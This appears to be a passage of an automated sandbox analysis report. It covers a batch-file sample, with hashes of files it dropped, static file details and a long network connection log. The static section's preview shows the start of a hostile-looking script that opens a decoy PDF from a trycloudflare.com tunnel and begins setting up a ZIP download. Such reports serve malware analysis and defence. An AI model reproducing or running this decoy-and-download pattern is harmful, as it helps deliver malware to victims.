Preview:	L..................F.@.. ...$+.,....e..'....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.IZY.]....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZY.]....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VZY.]....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VZY.].............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VZY.]...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........U6N......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Oct 26 10:45:55 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.001893216971126
Encrypted:	false
SSDEEP:	48:8ptd6sTEyHKidAKZdA1+4eh/iZUkAQkqehMy+2:85AKF9Q9y
MD5:	D638CBE47A24F6A620E2E1DB029F8029
SHA1:	4BAAC1B5F458701B5B4CFBA1973646371848E539
SHA-256:	0329846082C0F9AA795436659866F72BD77E5D8E9087EFEDFD58683E4D3C9695
SHA-512:	5C4D80990120B0D43EC82745178332AFE1D9A42DCE9D511498FB4574814898040B0B5011B3CA8696F89B7F6CA25CDBC93BD23E801075E9C8DF0F6166C771EE0B
Malicious:	false
Preview:	L..................F.@.. ...$+.,....D...'....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.IZY.]....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZY.]....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VZY.]....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VZY.].............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VZY.]...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........U6N......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:56:51 2023, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.011176963088482
Encrypted:	false
SSDEEP:	48:89d6sTEVHKidAKZdA1404eh7sFiZUkmgqeh7suy+BX:8PAWInAy
MD5:	1801257DBB36E55A070954069DA3B483
SHA1:	720511A7ACF8CA94726DFBDD4826444B0D48F780
SHA-256:	DB9FFC23499928E6201FDBC16E289DC8E592C7C90E19E1F84C7620D849C9EEAE
SHA-512:	3B18A147D0588CD547186B2C4CDFE3B83B84C8A4D20EEF1248724EA15777103F460068A4B6934E04A7622D64DA0ED7D171FB032C30EB50DB0EC937CF84E9374E
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....<}.i.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.IZY.]....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZY.]....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VZY.]....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VZY.].............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VEW.F...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........U6N......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Oct 26 10:45:55 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9989859818543714
Encrypted:	false
SSDEEP:	48:8td6sTEyHKidAKZdA1p4ehDiZUkwqehYy+R:8/Ad5my
MD5:	8EFB09ED0FA6057CF4D9304A3DB25437
SHA1:	F382523560BD4188114ED5588162F1B0CD407CF5
SHA-256:	4EEB80EE0CD98E87B08C9A5B130EEA10E9661A2CAF1CACE6220DB97810CC9B37
SHA-512:	357DBF804D406889DB35CF86E2223B7D865AF16AF237C6976A619EB6418D99FDB2D1DA8800F591AC3F267A9432CB6C49EB0EFF77F449BF13951D3E40BF7F8485
Malicious:	false
Preview:	L..................F.@.. ...$+.,....3G..'....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.IZY.]....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZY.]....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VZY.]....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VZY.].............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VZY.]...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........U6N......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Oct 26 10:45:55 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.989517675162768
Encrypted:	false
SSDEEP:	48:8/d6sTEyHKidAKZdA1X4ehBiZUk1W1qehyy+C:8RAjb9Sy
MD5:	A32E342216F5A9E44ADAE76BC58E468D
SHA1:	4C065DB2C9F5A14F5681B7915919E74010D28780
SHA-256:	13404113590CF80D4DA343B76375B4592F0C5DD88601946D8A410ED42060912F
SHA-512:	4FF8AF3F5EC014A3F19AE42B68328576197D49164AEA6683E6A5125524E43CEFE39B2597A9BBBE463EC06E16A08652A4BECC97267DB093C72FE0DBDF4DF88E47
Malicious:	false
Preview:	L..................F.@.. ...$+.,....5T.'....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.IZY.]....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZY.]....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VZY.]....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VZY.].............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VZY.]...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........U6N......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Oct 26 10:45:55 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.996966283675943
Encrypted:	false
SSDEEP:	48:8zd6sTEyHKidAKZdA1duTc4ehOuTbbiZUk5OjqehOuTbAy+yT+:89AMTcJTbxWOvTbAy7T
MD5:	65F9098753116138CE8380106631D2B7
SHA1:	F7185BFFB72CE03C0653FA080C432B38A1FA1912
SHA-256:	309587FB82766FE95B3DEE3E218DDCFCF862F93EA47F1DFAEBDF7584330728D7
SHA-512:	05ED26F412641C9337A1D2F186BA9112AC6AD551ADBE40F906A78EC65CAEF33437B4D3102850B11E8D15AA542AA2A1491290FADC94DF4551C239AC0787BE73F2
Malicious:	false
Preview:	L..................F.@.. ...$+.,....e...'....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.IZY.]....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZY.]....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VZY.]....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VZY.].............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VZY.]...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........U6N......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	DOS batch file, ASCII text, with CRLF line terminators
Entropy (8bit):	5.227307623900202
TrID:
File name:	ZtefPP1HI7.cmd
File size:	2'238 bytes
MD5:	78394d33419a5fabccce61e5bfe12a0b
SHA1:	c3be51192fddfd41d688eef66842231d1d00142a
SHA256:	0f1118b30b2da0b6e82f95d9bbf87101d8298a85287f4de58c9655eb8fecd3c6
SHA512:	2cd05119881437a519e133aaf1be7e76f9e605ab595cdef73dc5365e6397b832c3643bbf5218b00af5cef4c853297f58d520020acccfe584dd726deade7a25f1
SSDEEP:	48:+D4ckiwN8jc5ylqKy4hw7HmIvrUjsyTOnlIc3iwN1cuQvqqHLHwjKu8f8n2nXfzc:+DzG+QIy17GsrKTwjbsuyrHOszc
TLSH:	7C4166B31D4FA2304CB211B7963C2BF4F804996E998418D622F588BD75653DCCBA85DF
File Content Preview:	@echo off..setlocal....echo Opening first PDF file.....start "" "https://spectrum-exactly-knitting-rural.trycloudflare.com/policy.pdf"..timeout /t 5 >nul REM Wait for PDF to open (adjust timeout as needed)....:: Variables for downloading the ZIP file..se

File Icon


Icon Hash:	9686878b929a9886

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 13:45:45.874759912 CEST	49677	443	192.168.2.9	20.189.173.11
Oct 26, 2024 13:45:47.756886959 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:47.756923914 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:47.757004023 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:47.757267952 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:47.757286072 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:48.280971050 CEST	49677	443	192.168.2.9	20.189.173.11
Oct 26, 2024 13:45:48.504831076 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:48.505007982 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:48.517028093 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:48.517040014 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:48.517268896 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:48.526854038 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:48.567327976 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:48.769875050 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:48.769906998 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:48.769947052 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:48.770092010 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:48.770100117 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:48.770154953 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:48.887430906 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:48.887455940 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:48.887610912 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:48.887618065 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:48.887660980 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:48.937238932 CEST	49676	443	192.168.2.9	23.206.229.209
Oct 26, 2024 13:45:48.937436104 CEST	49675	443	192.168.2.9	23.206.229.209
Oct 26, 2024 13:45:49.004384995 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.004405975 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.004551888 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.004559040 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.004604101 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.129414082 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.129472971 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.129617929 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.129627943 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.129646063 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.129678965 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.187318087 CEST	49674	443	192.168.2.9	23.206.229.209
Oct 26, 2024 13:45:49.238042116 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.238080025 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.238384962 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.238403082 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.238492966 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.354973078 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.355031967 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.355334997 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.355374098 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.355468035 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.471625090 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.471657038 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.471854925 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.471872091 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.471942902 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.588500023 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.588543892 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.588644981 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.588659048 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.588706017 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.629951954 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.629987955 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.630038023 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.630053997 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.630096912 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.630112886 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.706768036 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.706830978 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.706871033 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.706887007 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.706902027 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.706933022 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.823230982 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.823302031 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.823337078 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.823359966 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.823369026 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.823390961 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.823462009 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.939795971 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.939826965 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.939946890 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.939964056 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.940018892 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.989181995 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.989212990 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.989373922 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.989387035 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.989432096 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.989662886 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.989731073 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:49.989753962 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:49.989811897 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.012651920 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.012651920 CEST	49706	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.012680054 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.012690067 CEST	443	49706	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.063565016 CEST	49708	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.063596010 CEST	49707	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.063616991 CEST	443	49708	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.063642979 CEST	443	49707	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.063695908 CEST	49708	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.063785076 CEST	49707	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.065114975 CEST	49709	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.065141916 CEST	443	49709	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.065251112 CEST	49709	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.067739964 CEST	49710	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.067790985 CEST	443	49710	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.067830086 CEST	49711	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.067842007 CEST	443	49711	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.067871094 CEST	49710	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.067924023 CEST	49711	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.068285942 CEST	49711	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.068296909 CEST	443	49711	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.068305969 CEST	49708	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.068320990 CEST	443	49708	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.068463087 CEST	49707	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.068490028 CEST	443	49707	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.068599939 CEST	49709	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.068610907 CEST	443	49709	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.068757057 CEST	49710	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.068768024 CEST	443	49710	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.800627947 CEST	443	49709	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.802014112 CEST	49709	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.802031040 CEST	443	49709	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.802702904 CEST	49709	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.802707911 CEST	443	49709	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.806865931 CEST	443	49707	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.807993889 CEST	49707	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.808012009 CEST	443	49707	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.808450937 CEST	49707	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.808456898 CEST	443	49707	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.813893080 CEST	443	49711	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.816150904 CEST	49711	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.816159964 CEST	443	49711	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.816840887 CEST	49711	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.816847086 CEST	443	49711	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.822815895 CEST	443	49708	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.823333979 CEST	49708	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.823352098 CEST	443	49708	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.824065924 CEST	49708	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.824070930 CEST	443	49708	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.825419903 CEST	443	49710	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.825865984 CEST	49710	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.825875998 CEST	443	49710	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.826576948 CEST	49710	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.826582909 CEST	443	49710	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.934087992 CEST	443	49709	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.934124947 CEST	443	49709	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.934217930 CEST	49709	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.934231997 CEST	443	49709	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.934315920 CEST	443	49709	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.934408903 CEST	49709	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.934408903 CEST	49709	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.934606075 CEST	49709	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.934606075 CEST	49709	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.934619904 CEST	443	49709	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.934628010 CEST	443	49709	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.936853886 CEST	443	49707	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.936914921 CEST	443	49707	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.936973095 CEST	49707	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.937000990 CEST	443	49707	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.937048912 CEST	49707	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.937083006 CEST	443	49707	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.937372923 CEST	49707	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.938044071 CEST	49707	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.938065052 CEST	443	49707	13.107.246.42	192.168.2.9
